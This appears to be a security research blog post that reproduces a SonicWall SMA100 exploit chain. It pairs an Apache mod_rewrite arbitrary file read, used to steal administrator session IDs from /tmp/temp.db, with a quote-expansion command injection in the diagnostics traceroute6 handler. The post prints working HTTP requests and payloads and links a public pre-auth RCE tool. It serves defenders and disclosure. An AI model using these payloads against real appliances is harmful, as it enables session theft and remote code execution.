> ## Content Index
> Fetch the complete content index at: https://labs.watchtowr.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# SonicBoom, From Stolen Tokens to Remote Shells - SonicWall SMA (CVE-2023-44221, CVE-2024-38475)
- URL: https://labs.watchtowr.com/sonicboom-from-stolen-tokens-to-remote-shells-sonicwall-sma100-cve-2023-44221-cve-2024-38475/
- Published: 2025-05-01T22:31:04.000Z
- Updated: 2025-05-02T01:20:40.000Z
- Author: Sina Kheirkhah (@SinSinology)

Another day, another edge device being targeted - it’s a typical Thursday!

In today’s blog post, we’re excited to share our previously private analysis of the [now exploited in-the-wild N-day vulnerabilities affecting SonicWall’s SMA100 appliance](https://www.bleepingcomputer.com/news/security/sonicwall-sma100-vpn-vulnerabilities-now-exploited-in-attacks/?ref=labs.watchtowr.com). Over the last few months, our client base has fed us rumours of in-the-wild exploitation of SonicWall systems, and thus, this topic has had our attention for a while.

Specifically, today, we’re going to be analyzing and reproducing:

- **CVE-2024-38475** \- Apache HTTP Pre-Authentication Arbitrary File Read
  - Discovered by Orange Tsai
  - Although this is a CVE attached to the Apache HTTP Server, it is important to note that due to how CVEs are now assigned, a seperate CVE **will not be assigned for SonicWall's usage of the vulnerable version.**
  - **This makes the situation confusing for those responding to CISA's KEV listing - CISA is referring to the two vulnerabilities in combination being used to attack SonicWall devices.**
  - **You can see this evidenced in SonicWall's updated PSIRT advisory:** [https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0018](https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0018?ref=labs.watchtowr.com)

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-31.png)

- **CVE-2023-44221** \- Post-Authentication Command Injection
  - Discovered by "Wenjie Zhong (H4lo) Webin lab of DBappSecurity Co., Ltd”

As of the day this research was published, [CISA had added these vulnerabilities to the Known Exploited Vulnerabilities list.](https://www.cisa.gov/news-events/alerts/2025/05/01/cisa-adds-two-known-exploited-vulnerabilities-catalog?ref=labs.watchtowr.com)

Do you know the fun things about these posts? [We can copy text from previous posts](https://labs.watchtowr.com/fortinet-fortigate-cve-2024-23113-a-super-complex-vulnerability-in-a-super-secure-appliance-in-2024/) about edge devices:

> This must be the first time real-world attackers have reversed patches, and reproduced a vulnerability, before some dastardly researchers released a Detection Artefact Generator tool of their own. /s

> At watchTowr's core, we're all about identifying and validating ways into organizations - sometimes through vulnerabilities in network border appliances - without requiring such luxuries as credentials or asset lists.  
>  
> Full exploitation is sometimes required to make our point - and on a daily basis, our clients rely on watchTowr technology to rapidly tell them, within hours, if they're affected with 100% precision.  
>  
> This ultimately underscores the research we perform internally to reproduce known N-day vulnerabilities, and discover unknown 0-day vulnerabilities - informing our technology, which continuously protects our client base.

For those just tuning in, though, SonicWall’s Secure Mobile Access (SMA) appliance is described by SonicWall as the following:

> SonicWall Secure Mobile Access (SMA) is a unified secure access gateway that enables organizations to provide access to any application, anytime, from anywhere and any devices, including managed and unmanaged.   
>  
> SMA offers granular access control, context-aware device authorization, application-level VPN and complete integration with the most advanced authentications. SMA enables organizations to move to the cloud and embrace BYOD with ease.

As always, before we dive in, we want to be clear that today’s blog post focuses on reproducing N-days being used in the wild by attackers—we are not the original discoverers.

We hope today's blog post allows defenders to determine if their appliances are vulnerable - moving this capability away from something that only attackers seem to be able to do today.

## Let’s Dive In - CVE-2024-38475

CVE-2024-38475 is the CVE identifier given to a vulnerability in the Apache web server discovered by [Orange Tsai](https://x.com/orange%5F8361?ref=labs.watchtowr.com). This section of the blog post relies heavily on his work to reproduce this vulnerability against a vulnerable SonicWall SMA appliance.

In 2024 at BlackHat USA, Orange Tsai presented 9 different vulnerabilities in the Apache HTTP Server.

For those interested, you can find his excellent research within his [blog post](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/?ref=labs.watchtowr.com) and within [his slides](https://i.blackhat.com/BH-US-24/Presentations/US24-Orange-Confusion-Attacks-Exploiting-Hidden-Semantic-Thursday.pdf?ref=labs.watchtowr.com) \- to help explain these vulnerabilities today, we have borrowed some pages of his slides:

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-20.png)

The vulnerability we’re focusing on today is CVE-2024-38475\. This vulnerability resides in the `mod_rewrite` module of the Apache HTTP Server.

The root cause of this vulnerability has been excellently explained by Orange Tsai. However, to quickly recap: the issue occurs during the truncation phase, due to the fact that `r->filename` is treated as a URL path rather than a filesystem path.

This Filename Confusion vulnerability allows the abuse of the question mark (`%3F`) symbol to truncate the final constructed path.

To illustrate, let us use one of Orange’s examples. Consider the following `RewriteRule` statement for Apache’s `mod_rewrite` module:

```jsx
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

```

The above `mod_rewrite` rule is simple: if an HTTP request is made to the url [http://server/user/orange](http://server/user/orange?ref=labs.watchtowr.com), the file `/var/user/orange/profile.yml` is retrieved and returned to the user as per below:

```jsx
$ curl http://server/user/orange

# the output of file `/var/user/orange/profile.yml`

```

As you can see, we have a suffix where `/profile.yml` is concatenated to our path.

Due to the Filename Confusion vulnerability in the `mod_rewrite` module of Apache, although this rule is performing substitution against a filesystem path, it mistakenly treats the final path as a URL path.

This means that if we include a URL-encoded question mark in our requested path, the server will truncate the final filesystem path.

As a result, the appended `/profile.yml` is dropped, allowing us to retrieve the `/secret.yml` file instead, as demonstrated below:

```jsx
$ curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`

```

This is fairly insane.

Now, let’s discuss another Apache feature that Orange Tsai has (ab)used: "DocumentRoot Confusion.”

In the previous example, we were bound to a specific directory — specifically, we were restricted to `/var/user/` as that path was prefixed in the rule.

But what happens if our controlled input is placed at the beginning of a substitution?

Consider the following example provided by Orange Tsai:

```jsx
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

```

Once again, this is best explained by Orange Tsai himself, but to recap:

When you visit [http://server/html/about](http://server/html/about?ref=labs.watchtowr.com) , it would be logical to expect that `mod_rewrite` rewrites this to the `/about.html`file from within the `/var/www/html` directory - because of the `DocumentRoot` directive.

However, Orange Tsai explains to us that this is not what happens.

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-21.png)

****Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!**

Terrifyingly, the reality is that both paths are accessed by Apache — and, surprisingly, the one at the root of the filesystem is accessed first.

This opens the door to accessing any file on the filesystem. While it’s not always that straightforward, this behavior can have a significant impact as we will see today.

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-22.png)

****Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!**

Now that we’ve familiarized ourselves with Orange Tsai’s research and the root causes of some of the confusion issues in Apache's `mod_rewrite`, let’s apply this knowledge to analyze the impact of CVE-2024-38475 within the context of SonicWall’s SMA appliance.

## CVE-2024-38475, With A SonicWall Twist

Now, the current in-the-wild exploitation focuses on SonicWall SMA appliances that utilizes an Apache HTTP server with a `mod_rewrite` version that is vulnerable to CVE-2024-38475\. Specifically, for today’s blog post, we reviewed `10.2.1.7-49sv`.

The first step we’re going to take is reviewing the Apache configuration file, named `httpd.conf`. This file contains the configuration settings and rewrite rules used by SonicWall.

```jsx
/usr/src/EasyAccess/www/conf/httpd.conf

```

This Apache `httpd.conf` config file contains hundreds of rules (of which we have mostly omitted for easier reading), but we will focus on the relevant rules to this vulnerability:

```jsx

[..SNIP..]

<VirtualHost *:443>
DocumentRoot "/usr/src/EasyAccess/www/htdocs"
ServerName VirtualOffice
ServerAlias
ServerAdmin root@VirtualOffice
ErrorLog /usr/src/EasyAccess/var/logs/httpd.log

SSLProxyCheckPeerCN off
SSLProxyCheckPeerExpire off
<Directory "/usr/src/EasyAccess/www/cgi-bin">
Options FollowSymLinks
Options +ExecCGI
AllowOverride None
</Directory>

RewriteEngine on
RewriteCond %{REQUEST_URI} =/favicon.ico
RewriteRule ^ /images/logo/VirtualOffice_favicon.ico [PT]

RewriteCond %{REQUEST_URI}          ^/portal/.*$
RewriteRule ^/portal/(.*)$           https://%{HTTP_HOST}/spog/welcome/$1

RewriteCond %{REQUEST_URI}          ^/dea/.*$
#Disable TRACE to prevent XST
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]

RewriteCond %{REQUEST_URI} =/favicon.ico
RewriteRule ^/dea/(.*)$  https://%{HTTP_HOST}/cgi-bin/DEARegister?url=/dea/$1
RewriteRule ^/(.+)\\.[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+[A-Za-z0-9]*-[0-9]+.*\\.css$      /$1.css
RewriteRule ^ /images/logo/VirtualOffice_favicon.ico [PT]
RewriteRule ^ /images/logo/VirtualOffice_favicon.ico [PT]

[..SNIP..]

```

As you can see, there are many `RewriteRule` entries in the configuration.

However, we are particularly interested in the ones that don’t bind us to any specific paths — specifically, the rules that allow access to the root of the filesystem.

Quickly, we can identify that such a rule does exist within this Apache `httpd.conf` config file:

```jsx
RewriteRule ^/(.+)\\.[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+[A-Za-z0-9]*-[0-9]+.*\\.css$      /$1.css

```

This rule is quite simple. Its purpose is to serve CSS files using a regular expression that expects a specific format.

You might be wondering: What does a normal, valid request that satisfies this pattern look like?

Here is a valid example:

```jsx
https://host/static/css/85.368e547a156e93679310.css

```

When the above URL is accessed, the file `85.368e547a156e93679310.css` is successfully retrieved and presented to the user.

Let’s break down the rewrite translation process and show what the final retrieved file path looks like.

```jsx
/static/css/85.368e547a156e93679310.css -> requested path
/usr/src/EasyAccess/www/htdocs/static/css/85.368e547a156e93679310.css -> retrieved file

```

But how is this possible? The `RewriteRule` directive didn’t specify `/static/css`, so how does Apache know where to retrieve the file from?

That’s where `DocumentRoot` comes into play:

```jsx
DocumentRoot "/usr/src/EasyAccess/www/htdocs"

```

This directive tells Apache where it's `DocumentRoot` is when searching for files.

However, as we mentioned at the beginning of this blog, Orange Tsai discovered that if the substitution path in a `RewriteRule` statement includes a prefix pointing to the root of the filesystem, Apache will attempt to access two paths.

This means that when we access:

```
https://host/static/css/85.368e547a156e93679310.css

```

Apache will try to resolve both of the following paths:

```jsx
/85.368e547a156e93679310.css
/usr/src/EasyAccess/www/htdocs/static/css/85.368e547a156e93679310.css

```

Interesting - so how can we make this more interesting?

Well, we could try to provide our own path — something like `/etc/passwd`, or perhaps even more sensitive files?

And what about the regex? Is it possible to supply our own path while still satisfying the regular expression at the same time?

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-23.png)

If you recall, we mentioned this behavior earlier in the Filename Confusion section.

Since Apache `mod_rewrite`, during translation, treats substitution paths as URLs instead of filesystem paths, we can leverage Orange’s technique: by inserting a url-encoded question mark, we can strip away the prefix that would otherwise restrict us.

Combined with the DocumentRoot Confusion, these two primitives together allow us to read any file on the filesystem.

For example, if there is a file located at `/tmp/secret.txt`, we can read it by sending the following request:

```jsx
https://host/tmp/secret.txt%3f.1.1.1.1a-1.css

```

This request will match the `RewriteRule`, triggering the `mod_rewrite` vulnerability, and will cause the prefix to be truncated as a result of the Filename Confusion.

This allows us to quickly demonstrate our ability to read any file readable by the user who runs the webserver process (in this case `nobody` user), by targeting a typical Apache HTTP log file.

For the purpose of this example, we’ll target the file `/mnt/ram/var/log/httpd.log` by sending the following HTTP request:

```jsx
GET /mnt/ram/var/log/httpd.log%3f.1.1.1.1a-1.css HTTP/1.1
Host: host

```

The following response is returned:

```jsx
HTTP/1.1 200 OK
Server: SonicWALL SSL-VPN Web Server
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'
Content-Length: 2593
Content-Type: text/plain

[Wed Apr 30 08:48:03.733994 2025] [:notice] [pid 2476] ModSecurity for Apache/2.6.8 (<http://www.modsecurity.org/>) configured.
[Wed Apr 30 08:48:03.734068 2025] [:notice] [pid 2476] ModSecurity: APR compiled version="1.6.5"; loaded version="1.6.5"
[Wed Apr 30 08:48:03.734153 2025] [:notice] [pid 2476] ModSecurity: PCRE compiled version="8.32 "; loaded version="8.32 2012-11-30"
[Wed Apr 30 08:48:03.734155 2025] [:notice] [pid 2476] ModSecurity: LIBXML compiled version="2.7.8"
[Wed Apr 30 08:48:03.751992 2025] [:notice] [pid 2477] mod_antiloris 0.4 started
[Wed Apr 30 08:48:03.755098 2025] [core:warn] [pid 2477] AH00098: pid file /usr/src/EasyAccess/var/logs/httpd.pid overwritten -- Unclean shutdown of previous Apache run?
[Wed Apr 30 08:48:03.944222 2025] [mpm_prefork:notice] [pid 2477] AH00163: Apache/2.4.38 (Unix) OpenSSL/1.1.1t mod_wsgi/4.5.24 Python/3.6 configured -- resuming normal operations

```

## Escalating Arbitrary File Read

Now we’ve demonstrated that we can read arbitrary files from a vulnerable SonicWall SMA appliance - or specifically, arbitrary files that the webserver can read (the webserver runs as the `nobody` user) - it’s time to escalate our access and use this vulnerability for something meaningful.

Perhaps we can find a file that contains sensitive information that would allow us to escalate our access or take over an existing authenticated session.

Quite quickly, we identified the file `/tmp/temp.db` \- this is a SQLite database that contains a significant amount of information, but most importantly, it contains session identifiers for currently active sessions - jackpot.

To illustrate this, lets take a quick browse of this SQLite database:

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-24.png)

With a quick glance at the structure of this SQLite database, we noticed a table named `Sessions`.

Let’s take a closer look, shall we?

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-25.png)

Perfect! The `Sessions` table contains the information we’re looking for:

- Session ID,
- IP address,
- CSRF token, and,
- Much more information related to the currently logged-in administrator account.

Given we can read arbitrary files, surely the next step is to just exfiltrate this database as so:

```jsx
curl https://host/tmp/temp.db%3f.1.1.1.1a-1.css -o temp.db

```

Happy with our progress, we loaded our newly downloaded SQLite database file into our local DB viewer and revisited the `Sessions` table.

To our surprise, the `Sessions` table was empty:

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-26.png)

Huh? Didn’t we just confirm that this SQLite database contains the information we need? So why, when we download it via our shiny vulnerability, is it empty?

Well, being the trusty hackers we are, we just kept replaying the request - if it doesn’t work the first time, try another 100 times.

Curiously, sometimes we would get a SQLite database with real content, and other times we wouldn’t. Honestly, this was strange and kept us scratching our heads for a while.

We could ignore this and just spam requests - but that’s boring, we’re aiming for stable and reliable.

Suddenly, we had an idea - what if, instead of downloading the entire file in a single request, we retrieved it chunk by chunk?

Apache, by default, supports the `Range` header — and here’s an example of it in action, specifically requesting the byte range that we know our session ID and other important information is stored:

```jsx
GET /tmp/temp.db%3f.1.1.1.1a-1.css HTTP/1.1
Host: host
Range: bytes=7875-8000

```

As you can see, the response matches the specific portion we requested from the original file.

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-27.png)

This turned out to be reliable and stable, helping our anxiety reduce a little.

By requesting the file chunk by chunk, we were able to download the complete SQLite database and extract a currently logged-in administrator session ID.

Good news then, we’ve demonstrated how attackers are likely leveraging CVE-2024-38475 in the wild to ultimately bypass authentication and gain administrative control over vulnerable SonicWall SMA appliances.

## Post-Auth Command Injection**s** (CVE-2023-44221)

A little satisfied but not quite fully satisfied with the level of access we’d achieved, we decided to move on to CVE-2023-44221, which is supposedly being exploited in the wild in combination with CVE-2024-38475.

CVE-2023-44221 is described as a Command Injection vulnerability. A quick look at the advisory reveals that the Command Injection vulnerability is reachable after authentication (which we have now bypassed) and allows command execution as the `nobody` user.

Since the web server is the only process running as `nobody`, we can reasonably assume that this injection occurs within one of the CGI files.

Diving back into our world of binaries, we honed in on `/usr/src/EasyAccess/www/spog/diagnostics` and noticed the following change:

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-28.png)

> Note: `traceroute6` was not the only function that had `safeSystemCmdArg` added to it. Other commands, such as `ping6` and several others, were also patched — and are similarly exploitable. However, they all follow a similar exploitation approach, and for clarity, we’ve chosen to focus our explanation on `traceroute6`.

To put a face to the name, we began examining the SonicWall SMA management interface and quickly identified the “Diagnostics” menu where we anticipated to find the vulnerable functionality given the name (with our blunt common sense):

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-29.png)

It appears that in the new version, the `safeSystemCmdArg` function is being used to sanitize input passed to the `traceroute6` command.

Could this be a case of classic Command Injection in the most trivial manner, in an enterprise-grade appliance?

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/image-30.png)

Assuming this is as simple and straightforward as we hoped, a payload that resembles something like `";touch /tmp/watchtowr-was-here;"` or even just `` `touch /tmp/watchtowr-was-here` `` should be enough to confirm whether Command Injection is possible, right?

```jsx
POST /spog/diagnostics HTTP/1.1
Host: host
Cookie: swap="aaaaaaaa="; swcctn=bbbbbbbbbb
User-Agent: Mozilla/5.0
X-Csrf-Token: bbbbbbbbbb

tool=TRACEROUTE6_CMD&target=";touch+/tmp/watchtowr-was-here;"

```

Unfortunately, it didn’t work - why is life never so simple?

To understand why, let’s take a closer look at the complete function flow:

- \[1\] The `traceroute6_handler` function is invoked when the traceroute6 option is used. The `initial_command` is a `char *` pointing to a heap buffer that contains our input for the trace operation.

```jsx
__int64 traceroute6_handler(FILE *stream, char *initial_command) // [1]
{
  __int64 initial_command_dup; // rax
  const char *v3; // rax
  FILE *v4; // r14
  int v5; // r12d
  const char *v6; // rax
  const char *v8; // rax
  const char *v9; // rax
  _BYTE escaped_cmd[256]; // [rsp+0h] [rbp-1F48h] BYREF
  char command[512]; // [rsp+100h] [rbp-1E48h] BYREF
  char v12[1040]; // [rsp+300h] [rbp-1C48h] BYREF
  char s[6152]; // [rsp+710h] [rbp-1838h] BYREF
  unsigned __int64 v14; // [rsp+1F18h] [rbp-30h]

  v14 = __readfsqword(0x28u);
  initial_command_dup = __strdup(initial_command);
  shellScriptEncode((__int64)escaped_cmd, initial_command_dup); // [2]
  memset(v12, 0, 1025);
  
   // [3]
  __sprintf_chk(command, 1LL, 512LL, "traceroute6 -q 1 -w 2 \\"%s\\" 2>&1", escaped_cmd);
  v4 = popen(command, "r"); // [4]

```

- \[2\] The `initial_command` is passed to the `shellScriptEncode` function, which transforms the input and places the encoded result into the `escaped_cmd` variable.
  - We’ve included the content of this function to show how simple it is.
  - Effectively, its role is to backslash-escape special characters:
    - `**$**` → Replaced with `\$` (escaped **`$`**).
    - `**"**` → Replaced with `\"` (escaped **`"`**).
    - **`\`** → Replaced with **`\\`** (escaped backslash).
    - **\`** → Replaced with   **\\\`** (escaped backtick).

```jsx
void __cdecl shellScriptEncode(_WORD *a1, char *a2)
{
  char *v2;
  char v4;

  v2 = a2;
  if ( a2 )
  {
    while ( 1 )
    {
      v4 = *v2;
      if ( !*v2 )
        break;
      if ( v4 == '$' )
      {
        *a1++ = '$\\';
      }
      else if ( v4 <= '$' )
      {
        if ( v4 != '"' )
          goto LABEL_4;
        *a1++ = '"\\';
      }
      else if ( v4 == '\\' )
      {
        *a1++ = '\\\\';
      }
      else
      {
        if ( v4 != '`' )
        {
LABEL_4:
          *(_BYTE *)a1 = v4;
          a1 = (_WORD *)((char *)a1 + 1);
          goto LABEL_5;
        }
        *a1++ = '`\\';
      }
LABEL_5:
      ++v2;
    }
  }
  *(_BYTE *)a1 = 0;
}
```

- \[3\] The encoded `escaped_cmd` is then inserted into the traceroute6 command, wrapped in double quotes, and the full command is assigned to the `command` variable using `__sprintf_chk`.
- \[4\] Finally, the command is executed using `popen`, and the resulting file descriptor is stored in the `v4` variable.

We can now see where we’re falling over - the role of the `shellScriptEncode` function (surprise, surprise, given the name) is to escape certain characters. This effectively prevents us from breaking out of the surrounding double quotes, whether by using special characters like backticks, semicolons, or others commonly used in command injection.

However, this function has a major flaw. As you can see, it accepts only two arguments: one for the source buffer and another for the destination buffer where the escaped value is written.

But — there’s no limitation on length.

We can abuse this by providing input that expands significantly after escaping. For example, if we supply five double quotes, the escaping process will produce ten characters — one for each quote and one for its escape character.

```jsx
input -> """""
output -> \"\"\"\"\"

```

This means that if we supply enough double quotes, the escaped output will grow significantly, and when escaped, it can lead to a stack overflow into the adjacent buffer.

Now, astute readers might be wondering: “What is the adjacent buffer to `escaped_cmd`?”

Well, the adjacent buffer is the `command` buffer. If we cause an overflow that exceeds 256 escaped characters, we end up overwriting the null terminator that separates these two buffers.

As a result, when the `escaped_cmd` pointer is later used to craft the final command, it no longer terminates properly. The `sprintf` function continues reading into the `command` buffer, and this unintended read creates a nested command structure — a perfect condition for exploitation.

```jsx
              ┌───────────────────────────────┐    ┌───────────────────────────────┐
              │      escaped_cmd[256]         │    │        command[512]           │
              │  [________empty__________]    │    │  [________empty__________]    │
              └───────────────────────────────┘    └───────────────────────────────┘
                              │ shellScriptEncode(escaped_cmd, user_input)
                              ▼
              ┌───────────────────────────────┐
              │      escaped_cmd[256]         │
              │  ;ifconfig;\\"\"\"\"\"\"...      │  ← 400 bytes of escaped payload
              └───────────────────────────────┘
                              │ Overflow past 256 bytes
                              ▼
              ┌───────────────────────────────┐
              │   command[0…143] ← payload    │  <-- overflow bytes 256…399
              ├───────────────────────────────┤
              │   command[144…511] original  │
              │           content            │
              └───────────────────────────────┘

                              │ __sprintf_chk(command,…, "%s", escaped_cmd)
                              ▼
              ┌─────────────────────────────────────────────────────────────┐
              │                    command[512]                            │
              │ ;ifconfig;\\"\"\"\"\"\"…[continues copying from stack…] \0  │
              └─────────────────────────────────────────────────────────────┘

```

What do we mean by a nested command?

Consider the following payload — it contains 140 double-quote characters. When passed through the escaping function, those 140 quotes become 280 characters, due to each quote being escaped.

```jsx
;ifconfig; """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

```

This overflows the buffer and destroys the null terminator, leading to the unintended concatenation of data between the `escaped_cmd` and `command` buffers.

When `sprintf` later constructs the final command, the resulting string will look something like this:

```jsx
sh -c traceroute6 -q 1 -w 2 ";ifconfig;\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"traceroute6 -q 1 -w 2 ";ifconfig;\" 2>&
```

It causes an odd number of escape sequences, which in turn allows us to break out of the surrounding double quotes — something that was previously not possible due to the escaping logic.

To demonstrate this more tangibly, here is an HTTP request leveraging the above example payload:

```jsx
POST /spog/diagnostics HTTP/1.1
Host: host
Cookie: swap="aaaaaaaa="; swcctn=bbbbbbbbbb
User-Agent: Mozilla/5.0
X-Csrf-Token: bbbbbbbbbb
Priority: u=0
Te: trailers
Connection: keep-alive

tool=TRACEROUTE6_CMD&target=;ifconfig; """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

```

![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2025/05/Group-8734.png)

> Note: If you're wondering “why not just perform a classic stack overflow to gain control of execution?” — it's because this binary is protected with a stack canary. It’s far easier (and more reliable) to proceed with the exploitation technique described above.

## Detection Artefact Generator

As always, we’ve produced a Detection Artefact Generator to demonstrate and achieve pre-auth RCE.

Our decision to publicly release our Detection Artefact Generator today revolves around the painful reality that attackers already have all the necessary information to exploit vulnerable appliances (as the CISA KEV addition signifies). 

As a result, we’re not increasing the risk faced by any organization still affected by these known and patchable vulnerabilities - we are levelling the playing field to enable organizations and defenders to determine their exposure status confidently.

The Detection Artefact Generator chain is a combination of two vulnerabilities:

- **CVE-2024-38475** \- Apache HTTP Pre-Authentication Arbitrary File Read
  - Which we use to leak a currently logged-in administrator session token.
- **CVE-2023-44221** \- Post-Authentication Command Injection

This piece of art can be found [here](https://github.com/watchtowrlabs/watchTowr-vs-SonicWall-PreAuth-RCE-Chain?ref=labs.watchtowr.com):

0:00 

/0:34 

1×